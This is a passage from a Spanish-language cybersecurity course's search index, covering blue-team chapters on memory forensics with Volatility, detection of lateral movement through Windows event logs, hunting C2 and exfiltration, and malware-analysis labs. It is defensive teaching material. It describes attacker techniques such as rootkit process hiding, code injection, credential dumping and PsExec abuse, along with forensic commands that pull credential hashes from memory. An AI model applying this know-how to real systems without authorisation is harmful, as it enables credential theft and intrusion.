sin un plan de DR/BCP con backups offline, el ransomware gana. Es la función que 5.1 nombró y donde converge la telemetría de 5.2, la contención de identidad de 5.3 y el forense de 5.5.","tags":["blue-team","incident-response","dfir-forense","deteccion","hardening"],"title":"5.4 · Respuesta a incidentes y recuperación","url":"/speculum/p5-blue-dfir/5-4-respuesta-incidentes/"},{"content":"Panorama El bloque rojo dejó dos técnicas que derrotan por diseño al análisis de disco. La evasión de AV/EDR (3.11) mostró el malware fileless, que ejecuta en RAM sin escribir un ejecutable, de modo que el antivirus que escanea archivos no ve nada; y la persistencia en Linux (3.14) mostró los rootkits, que manipulan las estructuras del sistema operativo para ocultarse de las herramientas del propio host. Contra ambas, hay un lugar donde no pueden esconderse: la memoria. Para ejecutar, el código tiene que estar en RAM; para ocultar un proceso, el rootkit tiene que dejar la evidencia de la manipulación en las estructuras del kernel. El forense de memoria es la disciplina que lee ese estado, y es el quinto y último de los capítulos-fundamento de P5 —tras el marco (5.1), la telemetría (5.2), la identidad (5.3) y la respuesta (5.4)—.\nSu premisa es la volatilidad: la memoria pierde su contenido en cuanto se corta la energía o se reinicia el equipo. Todo lo que vive solo ahí —los procesos activos, las conexiones de red establecidas, el historial de la consola, las credenciales temporales en claro, el código inyectado sin archivo— desaparece con el apagado y es irrecuperable desde un disco estático. De ahí el principio operativo que 5.4 ya adelantó como regla del triaje: capturar la RAM en vivo, antes de aislar o apagar el equipo. Es el eslabón más alto del orden de volatilidad, y equivale, del lado forense, a la cadena de custodia que el método OSINT (2.1) exigía sobre la evidencia: sin captura no hay caso.\nflowchart LR ACQ[\"Adquisición en vivo\\n(Belkasoft RAM Capturer →\\nimagen raw/hiberfil/crash)\"] --\u003e PROF[\"Perfil\\n(imageinfo · kdbgscan →\\nWin7SP1x64)\"] PROF --\u003e HID[\"Procesos ocultos\\n(pslist vs psscan ·\\npsxview)\"] PROF --\u003e INJ[\"Código inyectado\\n(malfind · dlldump)\"] PROF --\u003e NET[\"Canal de red\\n(netscan)\"] PROF --\u003e CRED[\"Credenciales\\n(hashdump · lsadump ·\\ncmdscan)\"] INJ \u0026 HID --\u003e DUMP[\"procdump / memdump →\\ndisco\"] DUMP -.-\u003e|\"análisis estático / reversing\"| C58[\"5.8\"] classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; class ACQ,PROF,HID,INJ,NET,CRED,DUMP,C58 n;Adquisición: capturar lo frágil sin corromperlo La adquisición es la fase más delicada porque el acto de recolectar altera lo recolectado. La memoria de un sistema encendido cambia de continuo —cada proceso rutinario escribe sobre regiones que pueden contener los artefactos que se buscan—, de modo que la captura debe transferir el contenido a un almacenamiento persistente con la mínima interacción posible; un análisis de RAM solo es válido si la imagen se tomó sin corromper el estado original. En la práctica se usa una herramienta dedicada de adquisición en vivo —Belkasoft RAM Capturer, entre otras— que vuelca el estado completo a una imagen, la cual luego se lleva a una estación forense aislada (por ejemplo Kali) para el análisis. Volatility acepta varios formatos de entrada, y conviene conocerlos porque a veces la memoria ya está capturada sin haberla tomado a propósito: el volcado crudo (raw, copia binaria exacta), el archivo de hibernación del sistema (hiberfil.sys), el snapshot de una máquina virtual y el crash dump de Microsoft. Cada uno es una foto de la RAM en un instante; la disciplina es tomarla antes de que el reinicio la borre.\nVolatility: perfilar el sistema y desenmascarar lo oculto El análisis se hace con Volatility, el framework de referencia, y su primer paso es perfilar la imagen: determinar la arquitectura y la versión exacta del sistema operativo, porque Volatility interpreta las estructuras de datos del kernel según ese perfil y un perfil errado invalida todo el análisis. Los plugins imageinfo y kdbgscan leen la imagen y sugieren el perfil (por ejemplo Win7SP1x64), que se pasa a todos los comandos siguientes.\nCon el perfil fijado, la técnica más importante de todo el capítulo es una triangulación: contrastar dos vistas de la lista de procesos. El plugin pslist recorre la lista doblemente enlazada que el kernel mantiene de sus procesos —la misma que consultan tasklist o el Administrador de tareas—. El plugin psscan, en cambio, escanea la memoria física buscando las firmas (pool tags) de las estructuras de proceso, sin confiar en ninguna lista. La diferencia es decisiva: un rootkit que oculta un proceso lo hace desenlazándolo de la lista del kernel —la manipulación que 3.14 describió para lsmod—, de modo que desaparece de pslist pero sigue apareciendo en psscan, porque la estructura sigue en memoria. Un proceso que está en psscan y no en pslist es, casi por definición, algo que quiso esconderse (o un proceso ya terminado). El plugin psxview automatiza esta comparación cruzando varias fuentes a la vez. Es la verificación desde fuera que 3.14 nombró como la única defensa fiable contra un rootkit, materializada sobre un volcado estático que el rootkit ya no controla.\n$ # 1) Perfilar la imagen (imprescindible: un perfil errado invalida el análisis): volatility -f ram.mem imageinfo volatility -f ram.mem kdbgscan # → Win7SP1x64 # 2) Triangular procesos: la lista del kernel (pslist) vs el escaneo de memoria (psscan) volatility -f ram.mem --profile=Win7SP1x64 pslist # lo que el SO \"admite\" volatility -f ram.mem --profile=Win7SP1x64 psscan # lo que hay de verdad (incl. ocultos) volatility -f ram.mem --profile=Win7SP1x64 psxview # cruza ambas listas automáticamente ⧉ copiar Cazar el código inyectado, el canal y las credenciales Localizado lo sospechoso, un segundo grupo de plugins extrae la evidencia concreta. El más directo contra la inyección es malfind, que busca regiones de memoria ejecutables sin un archivo de respaldo en disco —típicamente páginas marcadas RWX (lectura/escritura/ejecución) que no corresponden a ningún módulo cargado—: es exactamente la firma del thread injection y del VirtualAlloc con permisos 0x40 que la evasión de 3.11 usaba para correr shellcode en un proceso legítimo, vista ahora desde el volcado. Para la biblioteca inyectada, dlllist enumera los módulos de un proceso y dlldump los extrae para analizarlos. El canal de red se recupera con netscan, que lista las conexiones y puertos —el beacon del C2 (3.10) que no dejó rastro en disco pero mantenía una conexión establecida—. Y las credenciales en memoria salen con hivelist (ubica las colmenas del registro) más hashdump y lsadump: es el otro lado del volcado de LSASS (4.5) —donde el atacante extraía los hashes de la memoria con Mimikatz, el forense los recupera del mismo lugar para saber qué credenciales quedaron expuestas—. El historial de la consola local se reconstruye con cmdscan. Finalmente, todo binario o región sospechosa se extrae intacto al disco con procdump y memdump, para su disección estática posterior —el puente directo con el análisis de malware (5.8), que trabaja sobre esas muestras sin ejecutarlas—.\nLa regla mental del forense de memoria: el disco dice lo que el atacante dejó; la RAM dice lo que está ejecutando. Un binario cifrado o empaquetado se ve ininteligible en disco, pero en memoria tuvo que desempaquetarse para correr —por eso malfind y memdump a menudo recuperan la carga en claro que el análisis estático no podía leer—. Es la misma razón por la que el 4104 de PowerShell (5.2) capturaba el script desofuscado: en el punto de ejecución, el malware no puede seguir escondido. La interfaz gráfica y las estructuras profundas Para el analista que arranca, Volatility Workbench (de PassMark) ofrece una interfaz gráfica que evita memorizar la sintaxis: se carga la imagen, se elige el perfil de un menú, y se ejecutan los plugins con botones, con la ventaja añadida de exportar la salida a disco y registrar la marca de tiempo de cada comando —trazabilidad útil para el informe forense y la cadena de custodia—. Más allá de replicar el catálogo de consola, la herramienta facilita el acceso a plugins de estructuras profundas del kernel que persiguen la persistencia avanzada: vadinfo/vadtree recorren los descriptores de memoria virtual (VAD) que mapean las regiones de un proceso, mftparser reconstruy","section":"P5 · Blue Team, Detección y DFIR","summary":"El quinto y último capítulo-fundamento de P5, y el que destapa lo que el disco no ve. La RAM es evidencia volátil que muere en el reinicio —procesos activos, conexiones establecidas, credenciales en claro, código inyectado sin archivo—, de modo que se captura en vivo antes de apagar, con cuidado de no corromperla. Sobre el volcado, Volatility perfila el sistema y triangula lo oculto: pslist frente a psscan expone el proceso que un rootkit borró de la lista del kernel, malfind localiza el código inyectado en regiones RWX sin archivo de respaldo, netscan recupera el canal de C2 y hashdump las credenciales. Es el espejo forense de la inyección in-memory (3.11) y de los rootkits (3.14): las técnicas que ganaron contra el escaneo de disco pierden en memoria, porque para ejecutar tienen que estar ahí. Cierra los fundamentos 5.1–5.5; los binarios que extrae alimentan el análisis de malware de 5.8.","tags":["blue-team","memoria-forense","dfir-forense","malware-analysis","incident-response"],"title":"5.5 · Forense de memoria","url":"/speculum/p5-blue-dfir/5-5-forense-memoria/"},{"content":"Panorama Los cinco capítulos anteriores construyeron los fundamentos de la defensa: el programa y su ciclo de detección (5.1), la capa de datos sobre la que todo se apoya (5.2), la detección de identidad y correo (5.3), el ciclo de respuesta (5.4) y el forense de memoria (5.5). Con ese piso puesto, empiezan los seis capítulos que devuelven al bloque rojo su lente defensivo, uno por técnica. Este es el primero, y le toca la fase bisagra de toda intrusión: el movimiento lateral (lateral movement), el conjunto de técnicas con las que un adversario que ya tiene un punto de apoyo pivota hacia otros equipos de la red interna buscando datos, credenciales de mayor privilegio o el controlador de dominio.\nEs la fase que decide la magnitud del incidente. Un equipo comprometido es un problema de un equipo; un adversario que se movió a diez es una brecha de red, y si llegó al dominio, la respuesta deja de ser reimaginar una estación de trabajo y pasa a ser el doble reset de krbtgt que describe la defensa de Active Directory (4.9). Por eso el lateral es, en casi todos los playbooks, el punto de detección final: el último momento en que contener todavía significa contener algo acotado.\nLa buena noticia para el defensor es que esta fase es estructuralmente ruidosa. Las técnicas ofensivas que describieron el movimiento lateral en AD (4.8) —pass-the-hash, overpass-the-hash, pass-the-ticket ejecutados por PsExec, WMI, WinRM o DCOM— y el pivoting y tunneling (3.13) comparten una restricción física: para ejecutar código en otra máquina hay que autenticarse contra ella y hacer que algo arranque allí. Y ambas cosas las audita Windows. El adversario puede elegir entre binarios firmados, protocolos nativos y credenciales legítimas —eso es exactamente lo que hace el abuso de herramientas administrativas—, pero no puede saltar de host sin dejar en el destino un inicio de sesión, y casi nunca sin dejar un servicio, una tarea o un proceso hijo fuera de lugar.\nLa tesis del capítulo es doble. Primero: el movimiento lateral se detecta correlacionando origen y destino, no leyendo una máquina sola. Un 4624 de tipo 3 en un servidor de archivos es, aislado, uno de los eventos más comunes del dominio; el mismo evento leído junto con lo que ocurría en el equipo que lo originó, y junto con el servicio que se instaló treinta segundos después, es una firma de ejecución remota. Segundo: la contracara del problema no es solo analítica sino arquitectónica —la segmentación de red reduce el radio de alcance del adversario y, al obligar al tráfico interno a cruzar fronteras controladas, lo vuelve visible—.\nEste capítulo no repite el diccionario de eventos de autenticación de AD que ya fijó 4.9 ni la mecánica de las técnicas ofensivas que detalló 4.8: se apoya en ambos y se concentra en la telemetría de ejecución remota y en la arquitectura de red que la hace legible.\nflowchart TD A[\"Host comprometido(foothold)\"] --\u003e B[\"DescubrimientoAD + recursos compartidos\"] B --\u003e C{\"Vía de ejecución remota\"} C --\u003e|\"SMB / admin shares\"| D[\"PsExec4624 t3 → 5140/5145 → 7045/4697 → 4688\"] C --\u003e|\"WinRM / WMI\"| E[\"PS Remoting4624 t3 → wsmprovhost.exe (4688) → 4104\"] C --\u003e|\"RDP\"| F[\"Escritorio remoto4624 t10 → 4778/4779\"] C --\u003e|\"credencial inyectada\"| G[\"Pass-the-hash4624 t3 + NTLM + cuenta local\"] D --\u003e H[\"Nuevo host controlado\"] E --\u003e H F --\u003e H G --\u003e H H --\u003e I[\"Repetir: el radio crecehasta el límite del segmento\"] I -.-\u003e|\"la segmentacióncorta aquí\"| J[\"Frontera inspeccionada(este-oeste)\"]La regla de lectura: dos máquinas, no una Antes de recorrer las vías conviene fijar el método, porque es lo que distingue una investigación de lateral de una lista de eventos sueltos. Cada salto involucra dos sistemas y deja evidencia complementaria en ambos, y ninguna de las dos mitades es concluyente por sí sola.\nEn el origen queda la evidencia de la herramienta: el proceso que lanzó la ejecución remota (4688 con la línea de comandos completa, si el command-line auditing de 5.2 está habilitado), el bloque de script que la construyó (4104), y a veces la escritura del binario que se va a copiar. En el destino queda la evidencia del acceso: el inicio de sesión de red, el recurso compartido tocado, el servicio instalado, el proceso creado. Investigar solo el destino informa que alguien entró pero no desde dónde ni con qué; investigar solo el origen informa que se usó una herramienta pero no si tuvo éxito.\nDe ahí que la recolección tenga que ser previa al incidente. Si el reenvío de eventos —el Windows Event Forwarding que 5.2 describió— solo cubre servidores, la mitad de origen del salto vive en la estación de trabajo del usuario, que es justamente el equipo que el adversario ya controla y donde puede borrar el registro. Ese borrado deja el evento 1102, que es a la vez una pérdida y una señal.\nAl investigar un salto sospechoso, el par mínimo que hay que reconstruir es (host origen, host destino, ventana de tiempo, cuenta). El Logon ID del 4624 en el destino permite acotar la sesión completa hasta su 4634 o 4647, y el campo de dirección de red del propio 4624 da el host de origen que hay que ir a buscar. Sin ese pivote, la investigación se queda en la máquina donde empezó. SMB y recursos compartidos administrativos: la vía clásica La ruta más antigua y todavía la más usada aprovecha los recursos compartidos administrativos (admin shares): los volúmenes ocultos ADMIN$, C$ e IPC$ que Windows expone por omisión a los administradores del equipo. Son la antesala de la ejecución remota, porque permiten copiar un binario al destino sin ninguna herramienta adicional. El caso canónico es PsExec, la utilidad legítima de Sysinternals que administradores y adversarios usan por las mismas razones: está firmada, es conocida y hace exactamente lo que se necesita.\nLa secuencia que deja en el destino es una firma completa, y su valor está en el orden:\n4624 con logon type 3 — inicio de sesión de red. La autenticación contra el destino. 5140 y 5145 — acceso a un objeto de red compartido y verificación detallada de acceso a un archivo dentro de él. Aquí aparece ADMIN$ y el nombre del binario copiado. 7045 (canal System) y 4697 (canal Security) — instalación de un nuevo servicio. PsExec instala PSEXESVC con inicio bajo demanda; es el mecanismo por el que consigue ejecutar con privilegios de SYSTEM. 4688 — creación de proceso. El árbol delata la maniobra: services.exe arranca PSEXESVC.exe, y este actúa como padre de la carga real. En el caso documentado sobre el conjunto de datos de APT29, ese hijo es python.exe ejecutándose desde C:\\Windows\\Temp —la combinación de proceso padre imposible y ruta de directorio temporal que 5.2 llamó hiding in plain sight—. El evento 7045 merece un lugar propio en cualquier programa de detección. La instalación de un servicio nuevo es una operación poco frecuente y altamente significativa en un parque estable: los servicios legítimos se instalan cuando se despliega software, en ventanas de mantenimiento conocidas y por paquetes de instalación conocidos. Un 7045 en una estación de trabajo un martes a las tres de la tarde, con un nombre de servicio de ocho caracteres aleatorios y un binario en %TEMP%, es de las alertas de mayor fidelidad que existen. Y no cubre solo el lateral: la creación de servicios es también un mecanismo de persistencia, junto con las claves Run del registro (4657 nativo, o los Sysmon 12 y 13, más precisos) y las tareas programadas (4698 al crearse, con la carga útil visible en el bloque \u003cExec\u003e del XML; 4699, 4700 y 4702 para eliminación, habilitación y actualización).\nConviene registrar aquí la variante fileless de persistencia que acompaña a esta familia, porque es la más elusiva y la que peor se cubre: la suscripción de eventos WMI (WMI event subscription), donde el adversario vincula una condición del sistema con la ejecución de código sin dejar archivo. Nativamente se audita con el evento 5861 del canal WMI-Activity, que muestra el par filtro–consumidor —el consumidor malicioso suele ser un Command","section":"P5 · Blue Team, Detección y DFIR","summary":"El primero de los seis capítulos que cierran, desde el lado azul, las técnicas del bloque rojo. El movimiento lateral es la fase que convierte un equipo comprometido en una red comprometida, y no puede ejecutarse en silencio: toda ejecución remota en Windows deja un rastro característico —un inicio de sesión de red, un servicio recién instalado, un recurso administrativo tocado, un proceso hijo que no corresponde—. Recorre la telemetría de cada vía (PsExec y admin shares, WMI y WinRM, RDP, pass-the-hash) insistiendo en la regla que las une: el evento se lee correlacionando origen y destino, nunca en una máquina sola. Cierra con la contracara arquitectónica —la segmentación reduce el blast radius y obliga al tráfico este-oeste a cruzar un punto donde se lo puede ver— y con los dos casos donde el lateral es el punto de detección final. Es el espejo azul de 4.8, 4.9 y 3.13.","tags":["blue-team","siem-logging","lateral-movement-def","deteccion","segmentacion","threat-hunting"],"title":"5.6 · Detección de movimiento lateral en el SIEM","url":"/speculum/p5-blue-dfir/5-6-siem-lateral/"},{"content":"Panorama: la paradoja del C2, vista desde el otro lado La infraestructura de comando y control (3.10) cerraba con una tensión que el operador ofensivo no puede resolver del todo: un implante existe para recibir órdenes y entregar resultados, de modo que tiene que comunicarse. Puede cifrar el contenido, imitar el perfil de un navegador, esconderse detrás de una red de distribución de contenido o repartirse entre servicios legítimos, pero no puede quedarse callado y seguir siendo útil. El capítulo anterior cerró la fase en que el adversario se mueve por la red interna; este cierra la fase en que habla con afuera, que es la que lo acompaña de principio a fin.\nSobre esa obligación se construye toda la caza de C2. Y su consecuencia metodológica es la que ordena el capítulo: como el contenido está cifrado y es cada vez más inaccesible, las señales que sirven son de forma. La periodicidad con que el implante llama a casa, la proporción entre lo que envía y lo que recibe, la cadena que declara como cliente, la entropía del nombre que resuelve, la cantidad de consultas que dispara hacia un mismo dominio padre. Ninguna de esas propiedades desaparece al cifrar el canal, porque todas viven en los metadatos de la sesión, y los metadatos son justamente lo que registran los sensores de red.\nEste capítulo cierra tres hilos del bloque rojo a la vez: el C2 de 3.10, los canales encubiertos y la exfiltración (3.12) en su plano de red, y la correlación de infraestructura (2.4) —que aparece aquí en su función original, la de atribuir el destino una vez que se lo identificó—.\nflowchart LR A[\"Endpointcomprometido\"] --\u003e B[\"DNSconsulta de resolución\"] A --\u003e C[\"Proxy webpetición HTTP/CONNECT\"] A --\u003e D[\"Cortafuegossesión IP:puerto\"] B --\u003e E{\"¿Qué revelacada sensor?\"} C --\u003e E D --\u003e E E --\u003e F[\"DNS: entropía del nombre,NXDOMAIN, TXT/NULL, volumen\"] E --\u003e G[\"Proxy: método, User-Agent,Referer, cs-bytes/sc-bytes(ciego al URI si no hay inspección TLS)\"] E --\u003e H[\"Firewall: puertos, dirección,bytes agregados, periodicidad\"] F --\u003e I[\"Señales de FORMAque sobreviven al cifrado\"] G --\u003e I H --\u003e ILos tres sensores y el mapa de sus puntos ciegos Antes de las técnicas conviene fijar qué observa cada plano, porque una parte grande de los errores de investigación consiste en buscar una señal en el sensor que estructuralmente no puede darla.\nEl cortafuegos registra la sesión a nivel de red: IP de origen y destino, puerto, protocolo, bytes enviados y recibidos, duración, y si la política permitió o denegó el tráfico. No sabe nada del contenido ni del nombre de dominio, pero es el único que ve todo el tráfico, incluido el que no pasa por el proxy —y los implantes que usan puertos no estándar o protocolos que no son HTTP dependen justamente de eso—.\nEl proxy web actúa como intermediario obligatorio de las peticiones salientes de los clientes internos (un forward proxy, por oposición al reverse proxy que filtra el tráfico entrante hacia servidores propios). Al mediar cada petición registra metadatos mucho más ricos: además de IP y puerto, el usuario autenticado, el dominio, el método HTTP, el código de estado, la categoría de la URL, el Content-Type, el Referer, el User-Agent y el conteo separado de bytes enviados y recibidos. Es el sensor definitivo del tráfico web saliente.\nEl DNS ve algo que los otros dos no: el nombre que el endpoint quiso resolver, antes de que exista conexión alguna. Un implante que resuelve un dominio y todavía no se conecta ya dejó rastro, y un túnel que usa DNS como transporte vive enteramente en este plano.\nEl punto ciego que más pesa es el del proxy, y conviene enunciarlo con precisión porque condiciona todo lo que sigue. Cuando no hay inspección TLS habilitada para un dominio o categoría, el cliente pide al proxy que abra un túnel opaco con el método CONNECT hacia el puerto 443 del destino. A partir de ahí el proxy transporta bytes cifrados sin poder leerlos: registra la conexión, el dominio y los volúmenes, pero queda ciego a la ruta específica (el URI-path) y al recurso accedido. En una red donde casi todo es HTTPS, esto significa que el grueso del análisis de proxy trabaja con dominio, método, volumen, temporización y cabeceras del establecimiento —exactamente las señales de forma— y no con contenido.\nLa inspección TLS recupera visibilidad pero no es gratis ni universal. Es un man-in-the-middle autorizado, con costo de rendimiento, implicaciones de privacidad que suelen exigir exclusiones legales (banca, salud), y limitaciones técnicas frente al certificate pinning de muchas aplicaciones. La conclusión práctica no es descartarla sino diseñar la detección para que no dependa de ella: si la caza solo funciona con el contenido en claro, deja de funcionar en la mitad del tráfico. Cortafuegos: reconocimiento, asimetría y volumen Los registros de cortafuegos rinden en tres momentos distintos del ciclo de ataque, y los tres se leen con los mismos cuatro campos.\nReconocimiento. El escaneo es la primera señal medible. Desde afuera, los adversarios barren bloques de direcciones públicas buscando servicios expuestos —el 3389 de RDP sigue siendo el favorito, con fuerza bruta detrás—. Desde adentro, un equipo que ya cayó explora a sus vecinos: en el caso documentado, el host 10.10.10.10 itera sobre los puertos 445 (SMB), 23 (Telnet) y 3389 (RDP) contra el resto del segmento, y el analista descubre que 10.10.10.80 y 10.10.10.16 respondieron en 3389 con conteo de bytes en ambas direcciones, lo que confirma que el canal es viable. Ese es el paso previo al capítulo anterior: el mapa de rutas de propagación que precede al movimiento lateral (5.6).\nMovimiento lateral por asimetría. La señal más útil del cortafuegos para el lateral no es qué puertos se usaron sino cuántos bytes fueron en cada dirección. Sumando el volumen por sesión, el caso analizado muestra un host que transfiere unos 17 MB al destino y recibe apenas 0,42 MB. Ese desbalance es el patrón clásico del drop: alguien está depositando una herramienta —psexesvc.exe o equivalente— en el otro extremo. Es la misma maniobra que 5.6 leyó desde el destino con 5140/5145 y 7045, vista ahora desde el plano de red y sin necesidad de tocar el host.\nExfiltración por volumen. El tercer uso es el más directo. En el caso documentado, la IP interna 10.10.10.10 envía un flujo enorme y sostenido hacia 31.216.144.5, un destino que no figura en ninguna línea base. La consulta WHOIS sobre esa dirección la ubica en la red de MEGA (mega.nz), lo que convierte una anomalía volumétrica en una fuga confirmada hacia un servicio de almacenamiento en la nube. Vale subrayar el movimiento metodológico, porque es exactamente el de 2.4: la telemetría identifica el destino, y el OSINT de infraestructura lo atribuye.\nLa distinción de política que ordena todo esto es la de filtrado de ingreso frente a filtrado de egreso (ingress vs egress filtering). Casi todas las organizaciones controlan con rigor lo que entra; muchas menos controlan lo que sale, y el C2 y la exfiltración viven enteramente en la dirección saliente. Una política de egreso restrictiva —solo los puertos y destinos necesarios, y solo desde los equipos que los necesitan— es a la caza de C2 lo que la segmentación de 5.6 fue al lateral: reduce el problema antes de tener que detectarlo.\nProxy: cabeceras que mienten y volúmenes que no Si el cortafuegos aporta forma y volumen, el proxy aporta identidad del cliente. Y ahí es donde el malware se delata, porque tiene que declarar algo.\nEl User-Agent es la mejor señal barata que existe. Un implante emite peticiones desde un proceso que no es un navegador, y esa diferencia aflora de tres maneras. La primera es la más burda y la más frecuente: la cadena declara el intérprete. El registro Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.1944 no requiere análisis —es PowerShell descargando algo, y en el 99 % de los entornos eso no debería estar pasando contra un dominio externo—. Lo mismo vale para las cadenas de bibliotecas de scrip","section":"P5 · Blue Team, Detección y DFIR","summary":"El lado azul de la paradoja que abrió 3.10: el implante puede cifrar su tráfico, imitar un navegador y esconderse tras una CDN, pero no puede dejar de comunicar. Sobre esa obligación se construye toda la caza. Recorre los tres sensores del tráfico saliente —cortafuegos, proxy web y DNS— con lo que cada uno ve y, sobre todo, lo que no: sin inspección TLS el proxy solo registra el método CONNECT y queda ciego a la ruta. De ahí salen las señales que sobreviven al cifrado, porque son de forma y no de contenido: la periodicidad del beaconing y el jitter con que el adversario la rompe, la asimetría de bytes que separa la descarga del payload de la exfiltración, el User-Agent de un intérprete que no es un navegador, la entropía de los dominios DGA y de los subdominios de un túnel DNS. Cierra 3.10, 3.12 y 2.4.","tags":["blue-team","nsm-red","deteccion","threat-hunting","c2","exfiltracion-def"],"title":"5.7 · Caza de C2 y comunicaciones salientes","url":"/speculum/p5-blue-dfir/5-7-caza-c2/"},{"content":"Panorama: qué gana la evasión y qué no La evasión de AV y EDR (3.11) dejó un problema abierto que este capítulo tiene que contestar: si el operador ofensivo puede cifrar su carga útil, ejecutar sin tocar el disco, parchear AMSI, desenganchar las funciones que el EDR instrumenta y reescribir el binario hasta que ninguna firma lo reconozca, ¿en qué se apoya la defensa del endpoint? Es también el capítulo donde convergen más hilos de P5: lo reservaron como destino 3.11 y el análisis de infostealers (2.6) desde el bloque rojo, y 5.3, 5.5 y 5.7 desde el propio bloque azul.\nLa respuesta empieza por una distinción que conviene enunciar sin adornos: la evasión gana contra la firma y no contra el comportamiento. Una firma es una afirmación sobre cómo se ve un artefacto —esta secuencia de bytes, este hash, esta cadena— y el adversario controla por completo cómo se ve su artefacto: le basta recompilar, empaquetar o cifrar para invalidarla, a costo casi nulo. Lo que no controla es lo que su código tiene que hacer para cumplir su función. Un binario empaquetado tiene que desempaquetarse en memoria antes de ejecutar. Un implante tiene que persistir en algún lugar auditado. Un ladrón de credenciales tiene que abrir el proceso donde están. Un canal de C2 tiene que comunicar, como estableció 5.7. Cada uno de esos «tiene que» es un punto donde la evasión no llega.\nDe ahí sale la estructura del capítulo, que tiene dos movimientos. El primero es el análisis: desarmar la muestra para convertirla en detección —la cadena estático → dinámico → unpacking → reversing, con su laboratorio y sus límites—. El segundo es menos habitual y probablemente más valioso: medir empíricamente qué detecta el sensor propio, porque de nada sirve una detección excelente en el papel si el agente instalado tarda cuatro horas en reaccionar o ignora por completo un formato contenedor. Ese segundo movimiento cierra el círculo con la ingeniería de detección de 5.1: validar el control es parte de construirlo.\nflowchart TD A[\"Muestra sospechosa\"] --\u003e B[\"EstáticoYARA · PE headers · imports · strings\"] B --\u003e C{\"¿Empaquetada?\"} C --\u003e|no| D[\"Dinámicodetonación en sandbox\"] C --\u003e|sí| E[\"UnpackingBP en VirtualAlloc · dump de memoriareconstruir IAT (impscan)\"] E --\u003e D D --\u003e F[\"ObservaciónProcMon · Regshot · Autoruns · FakeNet\"] F --\u003e G[\"IOCshash · dominio · ruta · clave Run\"] F --\u003e H[\"IOAscomportamiento: cadena de procesos,persistencia, patrón de red\"] C --\u003e|\"virtualizada /flujo aplanado\"| I[\"Reversing profundomódulos de procesador IDA · MIASM(caro, no escala)\"] I --\u003e H G --\u003e J[\"Reglas de detección\"] H --\u003e J J --\u003e K[\"Validar contra el sensor propio(¿realmente lo detecta?)\"]El laboratorio: por qué propio, y por qué mentiroso El análisis dinámico exige detonar la muestra, y detonar exige un entorno que aguante la detonación. Un sandbox es una máquina virtual desechable, instrumentada y aislada, donde se ejecuta el código hostil para observar su comportamiento sin riesgo para la red de producción.\nLa primera decisión es propio frente a público, y no es una cuestión de comodidad. Los servicios públicos de análisis son excelentes y gratuitos, pero todo lo que se les envía se comparte: una muestra subida a un servicio público es, a efectos prácticos, una muestra publicada. Cuando el archivo bajo análisis proviene de un incidente real y contiene datos de la organización —un documento adjunto con información de clientes, un instalador con credenciales embebidas—, subirlo es una fuga con buenas intenciones. Es la misma advertencia que 5.3 hizo sobre el triaje de adjuntos de correo, y vale igual acá. El laboratorio local existe para los casos sensibles y para el análisis estático que no conviene telegrafiar.\nLa segunda decisión es el aislamiento: red en modo host-only en el hipervisor, funciones de integración —portapapeles compartido, arrastrar y soltar, carpetas compartidas— deshabilitadas, y un snapshot limpio al cual revertir después de cada detonación. El snapshot no es una comodidad sino la garantía de que la muestra siguiente no se analiza sobre los restos de la anterior.\nY la tercera es la más contraintuitiva: el laboratorio tiene que mentir sobre sí mismo. El malware moderno comprueba si está siendo observado y, si concluye que sí, cambia de conducta: se duerme, aborta, o ejecuta una rama inocua. Un entorno de análisis que se ve como un entorno de análisis produce el resultado que el adversario quiere que produzca. El hardening del invitado consiste entonces en simular un equipo real y usado: más de 100 GB de disco y 4 GB de RAM (las máquinas de análisis suelen ser mínimas, y eso mismo las delata), las herramientas de integración del hipervisor desinstaladas, software de ofimática instalado, documentos y historial de navegación que den señales de uso reciente, un nombre de usuario común en lugar de analyst o sandbox, y las herramientas de análisis renombradas —Wireshark.exe como hello.exe— porque muchas familias simplemente enumeran procesos en busca de nombres conocidos.\nUn sandbox mal endurecido produce el peor resultado posible: no un error, sino un falso negativo con apariencia de análisis completo. La muestra se ejecuta, no hace nada interesante, y el informe concluye «comportamiento benigno». Por eso conviene tener una muestra de control con anti-VM conocido y verificar periódicamente que en el laboratorio propio sí despliega su conducta real. Análisis estático: lo que se sabe sin ejecutar El estático extrae información inspeccionando la muestra sin detonarla. Es barato, es seguro y muchas veces alcanza para el triaje.\nLas herramientas del oficio se reparten el trabajo. YARA aplica reglas de coincidencia —cadenas, patrones, condiciones sobre la estructura del archivo— y es tanto la manera de clasificar una muestra contra un corpus de reglas conocidas como el formato en que se escribe la detección propia al final del análisis. Los inspectores de formato ejecutable identifican el empaquetador: en el caso documentado sobre la muestra Kenora.exe, Exeinfo PE reporta un empaquetado de Borland Delphi y sugiere el depurador con el que extraer la carga real. Los analizadores de encabezados exponen las funciones importadas y las cadenas de texto, y ahí aparecen las dos señales más productivas del estático: importaciones marcadas como sensibles —gethostname, gethostbyname, o el conjunto habitual de asignación de memoria e inyección— y cadenas legibles que filtran intención. En Kenora.exe las cadenas dejan ver una dirección de correo usada para exfiltración por SMTP y una referencia a la clave de registro Run; antes de ejecutar nada, ya se sabe que es un keylogger que persiste y que se lleva lo capturado por correo.\nEl límite del estático es exactamente el empaquetado. Si la carga está comprimida o cifrada, las cadenas y las importaciones que se ven son las del envoltorio y no las del código real —un binario cuya tabla de importaciones tiene tres funciones y cuyo contenido es de alta entropía está diciendo «estoy empaquetado» y nada más—. Ese es el punto donde hay que desempaquetar o pasar al dinámico.\nAnálisis dinámico: observar el «tiene que» La detonación resuelve el problema del empaquetado por la vía más simple: dejar que el propio malware se desempaquete. Para ejecutar tiene que hacerlo, así que lo hará. Lo que el analista necesita es tener puestos los sensores antes.\nLa instrumentación mínima cubre cuatro planos y se ejecuta con privilegios administrativos antes de detonar:\nActividad de proceso en tiempo real: ProcMon registra cada operación de archivo, registro, proceso y red, con filtros para separar el ruido del sistema de lo que hace la muestra. Deltas del registro: Regshot toma una instantánea antes y otra después, y muestra la diferencia. Es la forma más limpia de encontrar la persistencia, porque no exige leer un log sino comparar dos estados. Persistencia consolidada: Autoruns enumera todos los puntos desde los que Windows arranca cosas automáticamente y marca las entradas no firmadas. Red simulada","section":"P5 · Blue Team, Detección y DFIR","summary":"La respuesta azul a la evasión de 3.11, y el capítulo con más hilos entrantes de P5. Su tesis es una distinción que ordena todo lo demás: la evasión gana contra la firma, no contra el comportamiento, porque para ejecutar el código tiene que desempaquetarse, tocar el sistema y comunicarse. Recorre el laboratorio propio y su hardening contra las comprobaciones anti-VM, la cadena estático→dinámico→unpacking→reversing, y el punto donde el análisis deja 